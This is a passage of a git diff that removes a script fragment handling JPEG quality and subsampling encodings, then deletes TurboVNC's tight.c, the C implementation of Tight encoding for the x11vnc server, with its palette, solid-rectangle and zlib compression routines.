- if ( enc >= (uint32_t)rfbJpegSubsamp1X &&
- enc <= (uint32_t)rfbJpegSubsampGray ) {
- /* XXX member really should be tightSubsample not correMaxWidth */
- cl->correMaxWidth = enc & 0xFF;
- rfbLog("Using JPEG subsampling %d for client %s\\n",
- cl->correMaxWidth, cl->host);
- } else if ( enc >= (uint32_t)rfbEncodingQualityLevel0 &&
- enc <= (uint32_t)rfbEncodingQualityLevel9 ) {
- static int JPEG_QUAL[10] = {
- 5, 10, 15, 25, 37, 50, 60, 70, 75, 80
- };
- cl->tightQualityLevel = JPEG_QUAL[enc & 0x0F];
- /* XXX member really should be tightSubsample not correMaxWidth */
- cl->correMaxWidth = 2;
- rfbLog("Using image level Subsample %d Quality %d for client %s\\n",
- cl->correMaxWidth, cl->tightQualityLevel, cl->host);
- } else if ( enc >= (uint32_t)rfbJpegQualityLevel1 &&
- enc <= (uint32_t)rfbJpegQualityLevel100 ) {
- cl->tightQualityLevel = enc & 0xFF;
- rfbLog("Using image quality level %d for client %s\\n",
- cl->tightQualityLevel, cl->host);
- } else
-END
- $done = 1;
- next;
- }
- print;
-}
diff --git a/x11vnc/misc/turbovnc/tight.c b/x11vnc/misc/turbovnc/tight.c
deleted file mode 100644
index e7b4dbd..0000000
--- a/x11vnc/misc/turbovnc/tight.c
+++ /dev/null
@@ -1,1502 +0,0 @@
-/*
- * tight.c
- *
- * Routines to implement Tight Encoding
- */
-
-/*
- * Copyright (C) 2005-2008 Sun Microsystems, Inc. All Rights Reserved.
- * Copyright (C) 2004 Landmark Graphics Corporation. All Rights Reserved.
- * Copyright (C) 2000, 2001 Const Kaplinsky. All Rights Reserved.
- * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved.
- *
- * This is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This software is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this software; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
- * USA.
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include "rfb.h"
-#include "turbojpeg.h"
-
-/* Note: The following constant should not be changed. */
-#define TIGHT_MIN_TO_COMPRESS 12
-
-/* The parameters below may be adjusted. */
-#define MIN_SPLIT_RECT_SIZE 4096
-#define MIN_SOLID_SUBRECT_SIZE 2048
-#define MAX_SPLIT_TILE_SIZE 16
-
-/* This variable is set on every rfbSendRectEncodingTight() call. */
-static Bool usePixelFormat24;
-
-
-/* Compression level stuff. The following array contains various
- encoder parameters for each of 10 compression levels (0..9).
- Last three parameters correspond to JPEG quality levels (0..9). */
-
-typedef struct TIGHT_CONF_s {
- int maxRectSize, maxRectWidth;
- int monoMinRectSize;
- int idxZlibLevel, monoZlibLevel, rawZlibLevel;
- int idxMaxColorsDivisor;
-} TIGHT_CONF;
-
-static TIGHT_CONF tightConf[2] = {
- { 65536, 2048, 6, 0, 0, 0, 4 },
-#if 0
- { 2048, 128, 6, 1, 1, 1, 8 },
- { 6144, 256, 8, 3, 3, 2, 24 },
- { 10240, 1024, 12, 5, 5, 3, 32 },
- { 16384, 2048, 12, 6, 6, 4, 32 },
- { 32768, 2048, 12, 7, 7, 5, 32 },
- { 65536, 2048, 16, 7, 7, 6, 48 },
- { 65536, 2048, 16, 8, 8, 7, 64 },
- { 65536, 2048, 32, 9, 9, 8, 64 },
-#endif
- { 65536, 2048, 32, 1, 1, 1, 96 }
-};
-
-static int compressLevel;
-static int qualityLevel;
-static int subsampLevel;
-
-static const int subsampLevel2tjsubsamp[4] = {
- TJ_444, TJ_411, TJ_422, TJ_GRAYSCALE
-};
-
-/* Stuff dealing with palettes. */
-
-typedef struct COLOR_LIST_s {
- struct COLOR_LIST_s *next;
- int idx;
- CARD32 rgb;
-} COLOR_LIST;
-
-typedef struct PALETTE_ENTRY_s {
- COLOR_LIST *listNode;
- int numPixels;
-} PALETTE_ENTRY;
-
-typedef struct PALETTE_s {
- PALETTE_ENTRY entry[256];
- COLOR_LIST *hash[256];
- COLOR_LIST list[256];
-} PALETTE;
-
-static int paletteNumColors, paletteMaxColors;
-static CARD32 monoBackground, monoForeground;
-static PALETTE palette;
-
-/* Pointers to dynamically-allocated buffers. */
-
-static int tightBeforeBufSize = 0;
-static char *tightBeforeBuf = NULL;
-
-static int tightAfterBufSize = 0;
-static char *tightAfterBuf = NULL;
-
-static int *prevRowBuf = NULL;
-
-
-/* Prototypes for static functions. */
-
-static void FindBestSolidArea (int x, int y, int w, int h,
- CARD32 colorValue, int *w_ptr, int *h_ptr);
-static void ExtendSolidArea (int x, int y, int w, int h,
- CARD32 colorValue,
- int *x_ptr, int *y_ptr, int *w_ptr, int *h_ptr);
-static Bool CheckSolidTile (int x, int y, int w, int h,
- CARD32 *colorPtr, Bool needSameColor);
-static Bool CheckSolidTile8 (int x, int y, int w, int h,
- CARD32 *colorPtr, Bool needSameColor);
-static Bool CheckSolidTile16 (int x, int y, int w, int h,
- CARD32 *colorPtr, Bool needSameColor);
-static Bool CheckSolidTile32 (int x, int y, int w, int h,
- CARD32 *colorPtr, Bool needSameColor);
-
-static Bool SendRectSimple (rfbClientPtr cl, int x, int y, int w, int h);
-static Bool SendSubrect (rfbClientPtr cl, int x, int y, int w, int h);
-static Bool SendTightHeader (rfbClientPtr cl, int x, int y, int w, int h);
-
-static Bool SendSolidRect (rfbClientPtr cl);
-static Bool SendMonoRect (rfbClientPtr cl, int w, int h);
-static Bool SendIndexedRect (rfbClientPtr cl, int w, int h);
-static Bool SendFullColorRect (rfbClientPtr cl, int w, int h);
-
-static Bool CompressData(rfbClientPtr cl, int streamId, int dataLen,
- int zlibLevel, int zlibStrategy);
-static Bool SendCompressedData(rfbClientPtr cl, char *buf, int compressedLen);
-
-static void FillPalette8(int count);
-static void FillPalette16(int count);
-static void FillPalette32(int count);
-static void FastFillPalette16(rfbClientPtr cl, CARD16 *data, int w, int pitch,
- int h);
-static void FastFillPalette32(rfbClientPtr cl, CARD32 *data, int w, int pitch,
- int h);
-
-static void PaletteReset(void);
-static int PaletteInsert(CARD32 rgb, int numPixels, int bpp);
-
-static void Pack24(char *buf, rfbPixelFormat *fmt, int count);
-
-static void EncodeIndexedRect16(CARD8 *buf, int count);
-static void EncodeIndexedRect32(CARD8 *buf, int count);
-
-static void EncodeMonoRect8(CARD8 *buf, int w, int h);
-static void EncodeMonoRect16(CARD8 *buf, int w, int h);
-static void EncodeMonoRect32(CARD8 *buf, int w, int h);
-
-static Bool SendJpegRect(rfbClientPtr cl, int x, int y, int w, int h,
- int quality);
-
-/*
- * Tight encoding implementation.
- */
-
-int
-rfbNumCodedRectsTight(cl, x, y, w, h)
- rfbClientPtr cl;
- int x, y, w, h;
-{
- int maxRectSize, maxRectWidth;
- int subrectMaxWidth, subrectMaxHeight;
-
- /* No matter how many rectangles we will send if LastRect markers
- are used to terminate rectangle stream. */
- if (cl->enableLastRectEncoding && w * h >= MIN_SPLIT_RECT_SIZE)
- return 0;
-
- maxRectSize = tightConf[compressLevel].maxRectSize;
- maxRectWidth = tightConf[compressLevel].maxRectWidth;
-
- if (w > maxRectWidth || w * h > maxRectSize) {
- subrectMaxWidth = (w > maxRectWidth) ? maxRectWidth : w;
- subrectMaxHeight = maxRectSize / subrectMaxWidth;
- return (((w - 1) / maxRectWidth + 1) *
- ((h - 1) / subrectMaxHeight + 1));
- } else {
- return 1;
- }
-}
-
-Bool
-rfbSendRectEncodingTight(cl, x, y, w, h)
- rfbClientPtr cl;
- int x, y, w, h;
-{
- int nMaxRows;
- CARD32 colorValue;
- int dx, dy, dw, dh;
- int x_best, y_best, w_best, h_best;
- char *fbptr;
-
- compressLevel = cl->tightCompressLevel > 0 ? 1 : 0;
- qualityLevel = cl->tightQualityLevel;
- if (qualityLevel != -1) {
- compressLevel = 1;
- tightConf[compressLevel].idxZlibLevel = 1;
- tightConf[compressLevel].monoZlibLevel = 1;
- tightConf[compressLevel].rawZlibLevel = 1;
- } else {
- tightConf[compressLevel].idxZlibLevel = cl->tightCompressLevel;
- tightConf[compressLevel].monoZlibLevel = cl->tightCompressLevel;
- tightConf[compressLevel].rawZlibLevel = cl->tightCompressLevel;
- }
- subsampLevel = cl->tightSubsampLevel;
-
- if ( cl->format.depth == 24 && cl->format.redMax == 0xFF &&
- cl->format.greenMax == 0xFF && cl->format.blueMax == 0xFF ) {
- usePixelFormat24 = TRUE;
- } else {
- usePixelFormat24 = FALSE;
- }
-
- if (!cl->enableLastRectEncoding || w * h < MIN_SPLIT_RECT_SIZE)
- return SendRectSimple(cl, x, y, w, h);
-
- /* Make sure we can write at least one pixel into tightBeforeBuf. */
-
- if (tightBeforeBufSize < 4) {
- tightBeforeBufSize = 4;
- if (tightBeforeBuf == NULL)
- tightBeforeBuf = (char *)xalloc(tightBeforeBufSize);
- else
- tightBeforeBuf = (char *)xrealloc(tightBeforeBuf,
- tightBeforeBufSize);
- }
-
- /* Calculate maximum number of rows in one non-solid rectangle. */
-
- {
- int maxRectSize, maxRectWidth, nMaxWidth;
-
- maxRectSize = tightConf[compressLevel].maxRectSize;
- maxRectWidth = tightConf[compressLevel].maxRectWidth;
- nMaxWidth = (w > maxRectWidth) ? maxRectWidth : w;
- nMaxRows = maxRectSize / nMaxWidth;
- }
-
- /* Try to find large solid-color areas and send them separately. */
-
- for (dy = y; dy < y + h; dy += MAX_SPLIT_TILE_SIZE) {
-
- /* If a rectangle becomes too large, send its upper part now. */
-
- if (dy - y >= nMaxRows) {
- if (!SendRectSimple(cl, x, y, w, nMaxRows))
- return 0;
- y += nMaxRows;
- h -= nMaxRows;
- }
-
- dh = (dy + MAX_SPLIT_TILE_SIZE <= y + h) ?
- MAX_SPLIT_TILE_SIZE : (y + h - dy);
-
- for (dx = x; dx < x + w; dx += MAX_SPLIT_TILE_SIZE) {
-
- dw = (dx + MAX_SPLIT_TILE_SIZE <= x + w) ?
- MAX_SPLIT_TILE_SIZE : (x + w - dx);
-
- if (CheckSolidTile(dx, dy, dw, dh, &colorValue, FALSE)) {
-
- if (subsampLevel == TJ_GRAYSCALE && qualityLevel != -1) {
- CARD32 r=(colorValue>>16)&0xFF;
- CARD32 g=(colorValue>>8)&0xFF;
- CARD32 b=(colorValue)&0xFF;
- double y=(0.257*(double)r)+(0.504*(double)g)
- +(0.098*(double)b)+16.;
- colorValue=(int)y+(((int)y)<<8)+(((int)y)<<16);
- }
-
- /* Get dimensions of solid-color area. */
-
- FindBestSolidArea(dx, dy, w - (dx - x), h - (dy - y),
- colorValue, &w_best, &h_best);
-
- /* Make sure a solid rectangle is large enough
- (or the whole rectangle is of the same color). */
-
- if ( w_best * h_best != w * h &&
- w_best * h_best < MIN_SOLID_SUBRECT_SIZE )
- continue;
-
- /* Try to extend solid rectangle to maximum size. */
-
- x_best = dx; y_best = dy;
- ExtendSolidArea(x, y, w, h, colorValue,
- &x_best, &y_best, &w_best, &h_best);
-
- /* Send rectangles at top and left to solid-color area. */
-
- if ( y_best != y &&
- !SendRectSimple(cl, x, y, w, y_best-y) )
- return FALSE;
- if ( x_best != x &&
- !rfbSendRectEncodingTight(cl, x, y_best,
- x_best-x, h_best) )
- return FALSE;
-
- /* Send solid-color rectangle. */
-
- if (!SendTightHeader(cl, x_best, y_best, w_best, h_best))
- return FALSE;
-
- fbptr = (rfbScreen.pfbMemory +
- (rfbScreen.paddedWidthInBytes * y_best) +
- (x_best * (rfbScreen.bitsPerPixel / 8)));
-
- (*cl->translateFn)(cl->translateLookupTable, &rfbServerFormat,
- &cl->format, fbptr, tightBeforeBuf,
- rfbScreen.paddedWidthInBytes, 1, 1);
-
- if (!SendSolidRect(cl))
- return FALSE;
-
- /* Send remaining rectangles (at right and bottom). */
-
- if ( x_best + w_best != x + w &&
- !rfbSendRectEncodingTight(cl, x_best+w_best, y_best,
- w-(x_best-x)-w_best, h_best) )
- return FALSE;
- if ( y_best + h_best != y + h &&
- !rfbSendRectEncodingTight(cl, x, y_best+h_best,
- w, h-(y_best-y)-h_best) )
- return FALSE;
-
- /* Return after all recursive calls are done. */
-
- return TRUE;
- }
-
- }
-
- }
-
- /* No suitable solid-color rectangles found. */
-
- return SendRectSimple(cl, x, y, w, h);
-}
-
-static void
-FindBestSolidArea(x, y, w, h, colorValue, w_ptr, h_ptr)
- int x, y, w, h;
- CARD32 colorValue;
- int *w_ptr, *h_ptr;
-{
- int dx, dy, dw, dh;
- int w_prev;
- int w_best = 0, h_best = 0;
-
- w_prev = w;
-
- for (dy = y; dy < y + h; dy += MAX_SPLIT_TILE_SIZE) {
-
- dh = (dy + MAX_SPLIT_TILE_SIZE <= y + h) ?
- MAX_SPLIT_TILE_SIZE : (y + h - dy);
- dw = (w_prev > MAX_SPLIT_TILE_SIZE) ?
- MAX_SPLIT_TILE_SIZE : w_prev;
-
- if (!CheckSolidTile(x, dy, dw, dh, &colorValue, TRUE))
- break;
-
- for (dx = x + dw; dx < x + w_prev;) {
- dw = (dx + MAX_SPLIT_TILE_SIZE <= x + w_prev) ?
- MAX_SPLIT_TILE_SIZE : (x + w_prev - dx);
- if (!CheckSolidTile(dx, dy, dw, dh, &colorValue, TRUE))
- break;
- dx += dw;
- }
-
- w_prev = dx - x;
- if (w_prev * (dy + dh - y) > w_best * h_best) {
- w_best = w_prev;
- h_best = dy + dh - y;
- }
- }
-
- *w_ptr = w_best;
- *h_ptr = h_best;
-}
-
-static void
-ExtendSolidArea(x, y, w, h, colorValue, x_ptr, y_ptr, w_ptr, h_ptr)
- int x, y, w, h;
- CARD32 colorValue;
- int *x_ptr, *y_ptr, *w_ptr, *h_ptr;
-{
- int cx, cy;
-
- /* Try to extend the area upwards. */
- for ( cy = *y_ptr - 1;
- cy >= y && CheckSolidTile(*x_ptr, cy, *w_ptr, 1, &colorValue, TRUE);
- cy-- );
- *h_ptr += *y_ptr - (cy + 1);
- *y_ptr = cy + 1;
-
- /* ... downwards. */
- for ( cy = *y_ptr + *h_ptr;
- cy < y + h &&
- CheckSolidTile(*x_ptr, cy, *w_ptr, 1, &colorValue, TRUE);
- cy++ );
- *h_ptr += cy - (*y_ptr + *h_ptr);
-
- /* ... to the left. */
- for ( cx = *x_ptr - 1;
- cx >= x && CheckSolidTile(cx, *y_ptr, 1, *h_ptr, &colorValue, TRUE);
- cx-- );
- *w_ptr += *x_ptr - (cx + 1);
- *x_ptr = cx + 1;
-
- /* ... to the right. */
- for ( cx = *x_ptr + *w_ptr;
- cx < x + w &&
- CheckSolidTile(cx, *y_ptr, 1, *h_ptr, &colorValue, TRUE);
- cx++ );
- *w_ptr += cx - (*x_ptr + *w_ptr);
-}
-
-/*
- * Check if a rectangle is all of the same color. If needSameColor is
- * set to non-zero, then also check that its color equals to the
- * *colorPtr value. The result is 1 if the test is successfull, and in
- * that case new color will be stored in *colorPtr.
- */
-
-static Bool
-CheckSolidTile(x, y, w, h, colorPtr, needSameColor)
- int x, y, w, h;
- CARD32 *colorPtr;
- Bool needSameColor;
-{
- switch(rfbServerFormat.bitsPerPixel) {
- case 32:
- return CheckSolidTile32(x, y, w, h, colorPtr, needSameColor);
- case 16:
- return CheckSolidTile16(x, y, w, h, colorPtr, needSameColor);
- default:
- return CheckSolidTile8(x, y, w, h, colorPtr, needSameColor);
- }
-}
-
-#define DEFINE_CHECK_SOLID_FUNCTION(bpp) \
- \
-static Bool \
-CheckSolidTile##bpp(x, y, w, h, colorPtr, needSameColor) \
- int x, y, w, h; \
- CARD32 *colorPtr; \
- Bool needSameColor; \
-{ \
- CARD##bpp *fbptr; \
- CARD##bpp colorValue; \
- int dx, dy; \
- \
- fbptr = (CARD##bpp *) \
- &rfbScreen.pfbMemory[y * rfbScreen.paddedWidthInBytes + x * (bpp/8)]; \
- \
- colorValue = *fbptr; \
- if (needSameColor && (CARD32)colorValue != *colorPtr) \
- return FALSE; \
- \
- for (dy = 0; dy < h; dy++) { \
- for (dx = 0; dx < w; dx++) { \
- if (colorValue != fbptr[dx]) \
- return FALSE; \
- } \
- fbptr = (CARD##bpp *)((CARD8 *)fbptr + rfbScreen.paddedWidthInBytes); \
- } \
- \
- *colorPtr = (CARD32)colorValue; \
- return TRUE; \
-}
-
-DEFINE_CHECK_SOLID_FUNCTION(8)
-DEFINE_CHECK_SOLID_FUNCTION(16)
-DEFINE_CHECK_SOLID_FUNCTION(32)
-
-static Bool
-SendRectSimple(cl, x, y, w, h)
- rfbClientPtr cl;
- int x, y, w, h;
-{
- int maxBeforeSize, maxAfterSize;
- int maxRectSize, maxRectWidth;
- int subrectMaxWidth, subrectMaxHeight;
- int dx, dy;
- int rw, rh;
-
- maxRectSize = tightConf[compressLevel].maxRectSize;
- maxRectWidth = tightConf[compressLevel].maxRectWidth;
-
- maxBeforeSize = maxRectSize * (cl->format.bitsPerPixel / 8);
- maxAfterSize = maxBeforeSize + (maxBeforeSize + 99) / 100 + 12;
-
- if (tightBeforeBufSize < maxBeforeSize) {
- tightBeforeBufSize = maxBeforeSize;
- if (tightBeforeBuf == NULL)
- tightBeforeBuf = (char *)xalloc(tightBeforeBufSize);
- else
- tightBeforeBuf = (char *)xrealloc(tightBeforeBuf,
- tightBeforeBufSize);
- }
-
- if (tightAfterBufSize < maxAfterSize) {
- tightAfterBufSize = maxAfterSize;
- if (tightAfterBuf == NULL)
- tightAfterBuf = (char *)xalloc(tightAfterBufSize);
- else
- tightAfterBuf = (char *)xrealloc(tightAfterBuf,
- tightAfterBufSize);
- }
-
- if (w > maxRectWidth || w * h > maxRectSize) {
- subrectMaxWidth = (w > maxRectWidth) ? maxRectWidth : w;
- subrectMaxHeight = maxRectSize / subrectMaxWidth;
-
- for (dy = 0; dy < h; dy += subrectMaxHeight) {
- for (dx = 0; dx < w; dx += maxRectWidth) {
- rw = (dx + maxRectWidth < w) ? maxRectWidth : w - dx;
- rh = (dy + subrectMaxHeight < h) ? subrectMaxHeight : h - dy;
- if (!SendSubrect(cl, x+dx, y+dy, rw, rh))
- return FALSE;
- }
- }
- } else {
- if (!SendSubrect(cl, x, y, w, h))
- return FALSE;
- }
-
- return TRUE;
-}
-
-static Bool
-SendSubrect(cl, x, y, w, h)
- rfbClientPtr cl;
- int x, y, w, h;
-{
- char *fbptr;
- Bool success = FALSE;
-
- /* Send pending data if there is more than 128 bytes. */
- if (ublen > 128) {
- if (!rfbSendUpdateBuf(cl))
- return FALSE;
- }
-
- if (!SendTightHeader(cl, x, y, w, h))
- return FALSE;
-
- fbptr = (rfbScreen.pfbMemory + (rfbScreen.paddedWidthInBytes * y)
- + (x * (rfbScreen.bitsPerPixel / 8)));
-
- if (subsampLevel == TJ_GRAYSCALE && qualityLevel != -1)
- return SendJpegRect(cl, x, y, w, h, qualityLevel);
-
- paletteMaxColors = w * h / tightConf[compressLevel].idxMaxColorsDivisor;
- if(qualityLevel != -1)
- paletteMaxColors = 24;
- if ( paletteMaxColors < 2 &&
- w * h >= tightConf[compressLevel].monoMinRectSize ) {
- paletteMaxColors = 2;
- }
-
- if (cl->format.bitsPerPixel == rfbServerFormat.bitsPerPixel &&
- cl->format.redMax == rfbServerFormat.redMax &&
- cl->format.greenMax == rfbServerFormat.greenMax &&
- cl->format.blueMax == rfbServerFormat.blueMax &&
- cl->format.bitsPerPixel >= 16) {
-
- /* This is so we can avoid translating the pixels when compressing
- with JPEG, since it is unnecessary */
- switch (cl->format.bitsPerPixel) {
- case 16:
- FastFillPalette16(cl, (CARD16 *)fbptr, w,
- rfbScreen.paddedWidthInBytes/2, h);
- break;
- default:
- FastFillPalette32(cl, (CARD32 *)fbptr, w,
- rfbScreen.paddedWidthInBytes/4, h);
- }
-
- if(paletteNumColors != 0 || qualityLevel == -1) {
- (*cl->translateFn)(cl->translateLookupTable, &rfbServerFormat,
- &cl->format, fbptr, tightBeforeBuf,
- rfbScreen.paddedWidthInBytes, w, h);
- }
- }
- else {
- (*cl->translateFn)(cl->translateLookupTable, &rfbServerFormat,
- &cl->format, fbptr, tightBeforeBuf,
- rfbScreen.paddedWidthInBytes, w, h);
-
- switch (cl->format.bitsPerPixel) {
- case 8:
- FillPalette8(w * h);
- break;
- case 16:
- FillPalette16(w * h);
- break;
- default:
- FillPalette32(w * h);
- }
- }
-
- switch (paletteNumColors) {
- case 0:
- /* Truecolor image */
- if (qualityLevel != -1) {
- success = SendJpegRect(cl, x, y, w, h, qualityLevel);
- } else {
- success = SendFullColorRect(cl, w, h);
- }
- break;
- case 1:
- /* Solid rectangle */
- success = SendSolidRect(cl);
- break;
- case 2:
- /* Two-color rectangle */
- success = SendMonoRect(cl, w, h);
- break;
- default:
- /* Up to 256 different colors */
- success = SendIndexedRect(cl, w, h);
- }
- return success;
-}
-
-static Bool
-SendTightHeader(cl, x, y, w, h)
- rfbClientPtr cl;
- int x, y, w, h;
-{
- rfbFramebufferUpdateRectHeader rect;
-
- if (ublen + sz_rfbFramebufferUpdateRectHeader > UPDATE_BUF_SIZE) {
- if (!rfbSendUpdateBuf(cl))
- return FALSE;
- }
-
- rect.r.x = Swap16IfLE(x);
- rect.r.y = Swap16IfLE(y);
- rect.r.w = Swap16IfLE(w);
- rect.r.h = Swap16IfLE(h);
- rect.encoding = Swap32IfLE(rfbEncodingTight);
-
- memcpy(&updateBuf[ublen], (char *)&rect,
- sz_rfbFramebufferUpdateRectHeader);
- ublen += sz_rfbFramebufferUpdateRectHeader;
-
- cl->rfbRectanglesSent[rfbEncodingTight]++;
- cl->rfbBytesSent[rfbEncodingTight] += sz_rfbFramebufferUpdateRectHeader;
-
- return TRUE;
-}
-
-/*
- * Subencoding implementations.
- */
-
-static Bool
-SendSolidRect(cl)
- rfbClientPtr cl;
-{
- int len;
-
- if (usePixelFormat24) {
- Pack24(tightBeforeBuf, &cl->format, 1);
- len = 3;
- } else
- len = cl->format.bitsPerPixel / 8;
-
- if (ublen + 1 + len > UPDATE_BUF_SIZE) {
- if (!rfbSendUpdateBuf(cl))
- return FALSE;
- }
-
- updateBuf[ublen++] = (char)(rfbTightFill << 4);
- memcpy (&updateBuf[ublen], tightBeforeBuf, len);
- ublen += len;
-
- cl->rfbBytesSent[rfbEncodingTight] += len + 1;
-
- return TRUE;
-}
-
-static Bool
-SendMonoRect(cl, w, h)
- rfbClientPtr cl;
- int w, h;
-{
- int streamId = 1;
- int paletteLen, dataLen;
-
- if ( (ublen + TIGHT_MIN_TO_COMPRESS + 6 +
- 2 * cl->format.bitsPerPixel / 8) > UPDATE_BUF_SIZE ) {
- if (!rfbSendUpdateBuf(cl))
- return FALSE;
- }
-
- /* Prepare tight encoding header. */
- dataLen = (w + 7) / 8;
- dataLen *= h;
-
- if (tightConf[compressLevel].monoZlibLevel == 0)
- updateBuf[ublen++] = (char)((rfbTightNoZlib | rfbTightExplicitFilter) << 4);
- else
- updateBuf[ublen++] = (streamId | rfbTightExplicitFilter) << 4;
- updateBuf[ublen++] = rfbTightFilterPalette;
- updateBuf[ublen++] = 1;
-
- /* Prepare palette, convert image. */
- switch (cl->format.bitsPerPixel) {
-
- case 32:
- EncodeMonoRect32((CARD8 *)tightBeforeBuf, w, h);
-
- ((CARD32 *)tightAfterBuf)[0] = monoBackground;
- ((CARD32 *)tightAfterBuf)[1] = monoForeground;
- if (usePixelFormat24) {
- Pack24(tightAfterBuf, &cl->format, 2);
- paletteLen = 6;
- } else
- paletteLen = 8;
-
- memcpy(&updateBuf[ublen], tightAfterBuf, paletteLen);
- ublen += paletteLen;
- cl->rfbBytesSent[rfbEncodingTight] += 3 + paletteLen;
- break;
-
- case 16:
- EncodeMonoRect16((CARD8 *)tightBeforeBuf, w, h);
-
- ((CARD16 *)tightAfterBuf)[0] = (CARD16)monoBackground;
- ((CARD16 *)tightAfterBuf)[1] = (CARD16)monoForeground;
-
- memcpy(&updateBuf[ublen], tightAfterBuf, 4);
- ublen += 4;
- cl->rfbBytesSent[rfbEncodingTight] += 7;
- break;
-
- default:
- EncodeMonoRect8((CARD8 *)tightBeforeBuf, w, h);
-
- updateBuf[ublen++] = (char)monoBackground;
- updateBuf[ublen++] = (char)monoForeground;
- cl->rfbBytesSent[rfbEncodingTight] += 5;
- }
-
- return CompressData(cl, streamId, dataLen,
- tightConf[compressLevel].monoZlibLevel,
- Z_DEFAULT_STRATEGY);
-}
-
-static Bool
-SendIndexedRect(cl, w, h)
- rfbClientPtr cl;
- int w, h;
-{
- int streamId = 2;
- int i, entryLen;
-
- if ( (ublen + TIGHT_MIN_TO_COMPRESS + 6 +
- paletteNumColors * cl->format.bitsPerPixel / 8) > UPDATE_BUF_SIZE ) {
- if (!rfbSendUpdateBuf(cl))
- return FALSE;
- }
-
- /* Prepare tight encoding header. */
- if (tightConf[compressLevel].idxZlibLevel == 0)
- updateBuf[ublen++] = (char)((rfbTightNoZlib | rfbTightExplicitFilter) << 4);
- else
- updateBuf[ublen++] = (streamId | rfbTightExplicitFilter) << 4;
- updateBuf[ublen++] = rfbTightFilterPalette;
- updateBuf[ublen++] = (char)(paletteNumColors - 1);
-
- /* Prepare palette, convert image. */
- switch (cl->format.bitsPerPixel) {
-
- case 32:
- EncodeIndexedRect32((CARD8 *)tightBeforeBuf, w * h);
-
- for (i = 0; i < paletteNumColors; i++) {
- ((CARD32 *)tightAfterBuf)[i] =
- palette.entry[i].listNode->rgb;
- }
- if (usePixelFormat24) {
- Pack24(tightAfterBuf, &cl->format, paletteNumColors);
- entryLen = 3;
- } else
- entryLen = 4;
-
- memcpy(&updateBuf[ublen], tightAfterBuf, paletteNumColors * entryLen);
- ublen += paletteNumColors * entryLen;
- cl->rfbBytesSent[rfbEncodingTight] += 3 + paletteNumColors * entryLen;
- break;
-
- case 16:
- EncodeIndexedRect16((CARD8 *)tightBeforeBuf, w * h);
-
- for (i = 0; i < paletteNumColors; i++) {
- ((CARD16 *)tightAfterBuf)[i] =
- (CARD16)palette.entry[i].listNode->rgb;
- }
-
- memcpy(&updateBuf[ublen], tightAfterBuf, paletteNumColors * 2);
- ublen += paletteNumColors * 2;
- cl->rfbBytesSent[rfbEncodingTight] += 3 + paletteNumColors * 2;
- break;
-
- default:
- return FALSE; /* Should never happen. */
- }
-
- return CompressData(cl, streamId, w * h,
- tightConf[compressLevel].idxZlibLevel,
- Z_DEFAULT_STRATEGY);
-}
-
-static Bool
-SendFullColorRect(cl, w, h)
- rfbClientPtr cl;
- int w, h;
-{
- int streamId = 0;
- int len;
-
- if (ublen + TIGHT_MIN_TO_COMPRESS + 1 > UPDATE_BUF_SIZE) {
- if (!rfbSendUpdateBuf(cl))
- return FALSE;
- }
-
- if (tightConf[compressLevel].rawZlibLevel == 0)
- updateBuf[ublen++] = (char)(rfbTightNoZlib << 4);
- else
- updateBuf[ublen++] = 0x00; /* stream id = 0, no flushing, no filter */
- cl->rfbBytesSent[rfbEncodingTight]++;
-
- if (usePixelFormat24) {
- Pack24(tightBeforeBuf, &cl->format, w * h);
- len = 3;
- } else
- len = cl->format.bitsPerPixel / 8;
-
- return CompressData(cl, streamId, w * h * len,
- tightConf[compressLevel].rawZlibLevel,
- Z_DEFAULT_STRATEGY);
-}
-
-static Bool
-CompressData(cl, streamId, dataLen, zlibLevel, zlibStrategy)
- rfbClientPtr cl;
- int streamId, dataLen, zlibLevel, zlibStrategy;
-{
- z_streamp pz;
- int err, i;
-
- if (dataLen < TIGHT_MIN_TO_COMPRESS) {
- memcpy(&updateBuf[ublen], tightBeforeBuf, dataLen);
- ublen += dataLen;
- cl->rfbBytesSent[rfbEncodingTight] += dataLen;
- return TRUE;
- }
-
- if (zlibLevel == 0)
- return SendCompressedData (cl, tightBeforeBuf, dataLen);
-
- pz = &cl->zsStruct[streamId];
-
- /* Initialize compression stream if needed. */
- if (!cl->zsActive[streamId]) {
- pz->zalloc = Z_NULL;
- pz->zfree = Z_NULL;
- pz->opaque = Z_NULL;
-
- err = deflateInit2 (pz, zlibLevel, Z_DEFLATED, MAX_WBITS,
- MAX_MEM_LEVEL, zlibStrategy);
- if (err != Z_OK)
- return FALSE;
-
- cl->zsActive[streamId] = TRUE;
- cl->zsLevel[streamId] = zlibLevel;
- }
-
- /* Prepare buffer pointers. */
- pz->next_in = (Bytef *)tightBeforeBuf;
- pz->avail_in = dataLen;
- pz->next_out = (Bytef *)tightAfterBuf;
- pz->avail_out = tightAfterBufSize;
-
- /* Change compression parameters if needed. */
- if (zlibLevel != cl->zsLevel[streamId]) {
- if (deflateParams (pz, zlibLevel, zlibStrategy) != Z_OK) {
- return FALSE;
- }
- cl->zsLevel[streamId] = zlibLevel;
- }
-
- /* Actual compression. */
- if ( deflate (pz, Z_SYNC_FLUSH) != Z_OK ||
- pz->avail_in != 0 || pz->avail_out == 0 ) {
- return FALSE;
- }
-
- return SendCompressedData(cl, tightAfterBuf,
- tightAfterBufSize - pz->avail_out);
-}
-
-static Bool SendCompressedData(cl, buf, compressedLen)
- rfbClientPtr cl;
- char *buf;
- int compressedLen;
-{
- int i, portionLen;
-
- updateBuf[ublen++] = compressedLen & 0x7F;
- cl->rfbBytesSent[rfbEncodingTight]++;
- if (compressedLen > 0x7F) {
- updateBuf[ublen-1] |= 0x80;
- updateBuf[ublen++] = compressedLen >> 7 & 0x7F;
- cl->rfbBytesSent[rfbEncodingTight]++;
- if (compressedLen > 0x3FFF) {
- updateBuf[ublen-1] |= 0x80;
- updateBuf[ublen++] = compressedLen >> 14 & 0xFF;
- cl->rfbBytesSent[rfbEncodingTight]++;
- }
- }
-
- portionLen = UPDATE_BUF_SIZE;
